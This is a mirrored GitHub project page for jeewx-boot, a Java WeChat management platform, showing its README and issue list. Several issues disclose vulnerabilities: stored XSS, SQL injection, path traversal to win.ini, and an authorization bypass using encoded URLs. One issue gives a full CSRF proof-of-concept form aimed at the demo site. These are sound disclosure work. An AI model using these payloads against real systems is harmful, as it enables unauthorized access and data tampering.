Giter Site home page Giter Site logo

jeecgboot / jeewx-boot Goto Github PK

View Code? Open in Web Editor NEW
1.1K 46.0 541.0 21.51 MB

JAVA版免费开源的微信管家平台。支持微信公众号、小程序、第三方平台等。平台已经实现了公众号基础管理、群发、系统权限、抽奖活动、小程序官网等功能,便于二次开发,可以快速搭建微信应用!

Home Page: http://www.jeewx.com

License: Apache License 2.0

Java 99.64% C# 0.05% ObjectScript 0.17% PHP 0.03% Visual Basic .NET 0.05% ASP.NET 0.01% Classic ASP 0.06%
weixin jeewx jeewx-api weixin-java weixin-application xiaochengxu wepy spring-boot springboot jeewxboot

jeewx-boot's Introduction

Jeewx-Boot 免费微信管家平台

当前最新版本: 1.3(发布日期:20200916)

AUR

项目介绍

JeewxBoot是一款免费的JAVA微信管家平台,支持微信公众号、小程序、微信第三方平台、抽奖活动等。JeewxBoot已经实现了系统权限管理、公众号管理、抽奖活动等基础功能,便于二次开发,可以快速搭建微信应用!

技术架构:SpringBoot2.1.3 + Mybatis + Velocity; 采用插件开发机制,实现一个抽奖活动一个独立插件(对JAVA来讲就是一个JAR包),可以很方便的做插拔,提供丰富的活动插件下载。。

技术文档

项目说明

基础平台项目

项目名 中文名 备注
jeewx-boot-start 启动项目
jeewx-boot-base-system 系统用户管理模块
jeewx-boot-module-weixin 微信公众号管理
jeewx-boot-module-api 共通业务API接口
huodong/jeewx-boot-module-goldenegg 砸金蛋活动
huodong/jeewx-boot-module-cms 小程序官网 集成文档

插件项目说明

项目名 中文名 备注
jeewx-boot-module-commonluckymoney 圣诞拆红包抽奖
jeewx-boot-module-scratchcards 刮刮乐活动
jeewx-module-divination 摇签祈福活动
P3-Biz-shaketicket 摇一摇活动
jeewx-boot-module-luckyroulette 新版大转盘活动

小程序源码

功能清单

├─系统管理
│  ├─用户管理
│  ├─角色管理
│  ├─菜单管理
│  └─首页设置
│  └─项目管理(插件)
├─公众号运营
│  ├─基础配置
│  │  ├─公众号管理
│  │  ├─关注欢迎语
│  │  ├─未识别回复语
│  │  ├─关键字设置
│  │  ├─自定义菜单
│  │  ├─菜单支持小程序链接
│  │  ├─Oauth2.0链接机制
│  └─微信第三方平台
│  └─支持扫描授权公众号
│  ├─素材管理
│  │  ├─文本素材
│  │  ├─图文素材
│  │  ├─超强图文编辑器
│  │  ├─图文预览功能
│  ├─用户管理
│  │  ├─粉丝管理
│  │  ├─粉丝标签管理
│  │  ├─图文编辑器
│  │  ├─接受消息管理
│  │  ├─粉丝消息回复
│  │  ├─图文预览功能
│  ├─高级功能
│  │  ├─微信群发功能
│  │  ├─群发审核功能
│  │  ├─二维码管理
├─微信抽奖活动
│  ├─砸金蛋
│  ├─小程序官网(CMS模块)
│  ├─摇一摇(尚未开源)
│  ├─微信砍价(尚未开源)
│  ├─更多商业活动
├─高级功能(尚未开源)
│  ├─小程序商城
│  ├─竞选投票
│  ├─分销商城
│  ├─团购商城
│  ├─红包活动
│  ├─更多商业功能
│  ├─。。。

系统效果

系统截图

体验二维码

github

jeewx-boot's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jeewx-boot's Issues

Jeewx-Boot-v1.3-Storage XSS

Information

Exploit Title:Jeewx-Boot-v1.3-Storage XSS
Exploit date:01.06.2021
Exploit Author:Al1ex@Heptagram
Vendor Homepage:https://github.com/zhangdaiscott/jeewx-boot
Affect Version:Jeewx-Boot-v1.3
Description:The background voting function module of jeewx-boot-v1.3 allows users to import data through templates, but does not filter the data strictly. An attacker can construct an excel with massive data and insert a malicious payload, and then cheat the administrator to import the Excel to trigger malicious XSS code.

How to Exploit

Step 1:download templates
Step 2:Insert malicious payload into template
image
Step 3:Then cheat the administrator to import the template application
image
The malicious payload was successfully executed
image

Suggestion

Encode the output content entity

抽奖活动界面问题

问题描述:克隆项目后修改了只修改了数据相关配置,启动项目后给用户添加抽奖活动功能,然后点击抽奖活动,出现一直加载home页面
问题截图:

用户可以发文章吗

你好,我简单看了下你的小程序,好像没找到可以发文章的入口,请问普通用户可以发表自己的东西吗

There is a SQL Injection in the backend

The problem exists in the "WeixinSystemProjectController.java",You can see that there is no filtering in the code:
Injection1

The code use "${" to splice the parameters directly in the "WeixinSystemProject.xml".
Injection2

And this leads to a SQL injection.
Injection

jar无法下载

版本号:1.0.3
问题描述:jeewx-boot-start-core-1.0.5 无法下载

1.maven setting 已经设置
2.maven下载jar已经切换为jeewx 私服,私服似乎无法打开

问题截图:

image
image

程序运行不了,DAO的实现类注解了。

#错误提示
Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'jwSystemAuthDao' defined

#问题描述
我发现DAO的实现类注解了
jeewx-boot/jeewx-boot-base-system/src/main/java/com/jeecg/p3/system/dao/impl/JwSystemAuthDaoImpl.java

IE浏览器下载文件时文件名出现乱码

版本号:

2.4

问题描述:

IE浏览器下载文件时文件名出现乱码,chrome和edge浏览器功能正常
下载文件是用的jeecgListMixin.vue下面函数
downloadFile(text){
if(!text){
this.$message.warning("未知的文件")
return;
}
if(text.indexOf(",")>0){
text = text.substring(0,text.indexOf(","))
}
let url = getFileAccessHttpUrl(text)
window.open(url);
},

问题截图:

image

请问这是什么原因,谢谢帮忙

NoClassDefFoundError: sun/misc/BASE64Decoder

版本号:1.0.3
问题描述:jdk9 编译报错,替换了编译的class,启动报错
问题截图:

image
Caused by: java.lang.NoClassDefFoundError: sun/misc/BASE64Decoder
at org.apache.util.QEncodeUtil.base64Decode(QEncodeUtil.java:69)
at org.apache.util.QEncodeUtil.aesDecrypt(QEncodeUtil.java:161)
at org.jeecgframework.p3.core.aop.icorep3.check(icorep3.java:54)
at org.apache.commons.lang.StringUtil.lastIndexOf(StringUtil.java:1191)
at org.apache.commons.lang.StringUtil.(StringUtil.java:1383)
at org.apache.util.QEncodeUtil.aesDecrypt(QEncodeUtil.java:161)
at org.jeecgframework.p3.core.aop.icorep3.check(icorep3.java:54)
at org.apache.commons.lang.CommonRandomUtil.isNotEmpt(CommonRandomUtil.java:3952)
at org.apache.commons.lang.CommonRandomUtil.(CommonRandomUtil.java:119)
at com.jeecg.p3.config.mybatis.MybatisInterceptor.(MybatisInterceptor.java:37)
at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:490)
at org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:172)
at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:87)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateBean(AbstractAutowireCapableBeanFactory.java:1279)
... 146 common frames omitted
jdk9以上不再有sun.misc.BASE64Decoder和sun.misc.BASE64Encoder

出现中文乱码

自定义菜单,选项中,还有其他功能,会出现中文乱码,如何解决?

文章插入视频不能用

文章插入视频是很多网站的基本需求,微信公众号的图文素材编辑就有视频编辑,本平台的文章插入视频试了腾讯和优酷的视频地址,都不能用

Discuz! 品牌名字写错了

项目介绍里这句话:“最终打造像discuzz、微擎一样的插件生态圈。”其中的“discuzz”应该为“Discuz!”,如果你确实指的是 Discuz! 的话。

There is a Arbitrary file reading in the backend

The problem exists in the "WxActGoldeneggsPrizesController.java",You can see that there is no filtering in the code:
file
The code use FileInputStream to load the file directly.
file1
/../../../../../../../../../Windows/win.ini
Successfully read the file and return /Windows/win.ini

权限问题,oos图片路劲问题

版本号:

目前这个版本

问题描述:

1.我配置了jeewx.properties后,然后在公众号里面配置url token等信息,但是提交的时候一直失败,后台报错无权限
2.图片我用阿里的http不用定义域名行吗,然后我配置文件设置了阿里域名,最后回去到图片的路径还是以前的那个
3.关注后有个提示语,设置了文本消息,但是关注后没有任何反应

问题截图:

1588927350(1)
1588927560(1)
1588927579(1)
1588927629(1)

Jeewx-Boot-v1.3-Cross-site request forgery(CSRF)

Information

Exploit Title:Jeewx-Boot-v1.3-Cross-site request forgery(CSRF)
Exploit date:01.06.2021
Exploit Author:Al1ex@Heptagram
Vendor Homepage:https://github.com/zhangdaiscott/jeewx-boot
Affect Version:Jeewx-Boot-v1.3
Description:There is CSRF vulnerability in jeewx-boot-v1.3. Attackers can construct a malicious page and cheat administrator users to access it, thus causing malicious payload to be triggered.

How to Exploit

Step 1:Add a record
image
Step 2:Then delete the record and use burpsuite to capture the package
image
Step 3:After that, use burpsuite to construct CSRF exp
image

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo.jeewx.com/businesshall/back/wxActBusinesshallRegistration/doDelete.do">
      <input type="hidden" name="id" value="ff80808179bd77900179c66b96e60266" />
      <input type="hidden" name="&#95;" value="1622531610993" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Step 4:Drop the burpsuite request packet and refresh the page to ensure that the record still exists
image
Step 5:After accessing the payload in the browser, you can see the successful execution
image
image
Step 6:After refreshing the page, it is found that the record has been successfully deleted
image

Suggestion

Using token to verify

越权未授权访问

版本号:

ALL

问题描述:

在类似/system/back/jwSystemUser/list.do页面可以通过将 back 编码或者访问 list.bbbb的方式绕过权限校验,造成未授权访问。

问题截图:

没有admin权限的时候,正常访问/system/back/jwSystemUser/list.do会返回401。
但是访问类似http://demo.jeewx.com/system/ba%63k/jwSystemUser/list.bbbb
由页面显示
image
同样访问 http://demo.jeewx.com/system/ba%63k/jwSystemUser/list.do
image
正常返回:
image

第一个主要问题在于
https://github.com/zhangdaiscott/jeewx-boot/blob/master/jeewx-boot-base-system/src/main/java/com/jeecg/p3/system/interceptors/LoginInterceptor.java#L113
image
list 为null的时候返回true。
第二个问题在于:
https://github.com/zhangdaiscott/jeewx-boot/blob/master/jeewx-boot-base-system/src/main/java/com/jeecg/p3/system/interceptors/LoginInterceptor.java#L51
image
url编码以后 requestPath.index("/back/")找不到,返回-1,函数返回true。

您好我有一些问题想请教下

版本号:1.3
问题描述:

1、AccseeToken获取问题:我是昨天和今天上午尝试修改菜单,但是一直提示未获取到AccseeToken,今天中午我没有关闭自己的服务器,下午再看就获取到了AccseeToken也能修改菜单,我也没有修改任何代码,是获取有延迟还是我设置的问题呢?
2、IP白名单问题:我自己创建了一个订阅号,我设置了自己电脑的IP为白名单但是在公众号授权中一直提示接口使用IP未在白名单中,想问一下IP必须是固定IP是吗,我自己的笔记本电脑IP是不可以的么,还有公众号测试号好像是不用设置IP白名单的是么。

如果您能解答我得疑惑会非常感谢!

问题截图:

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.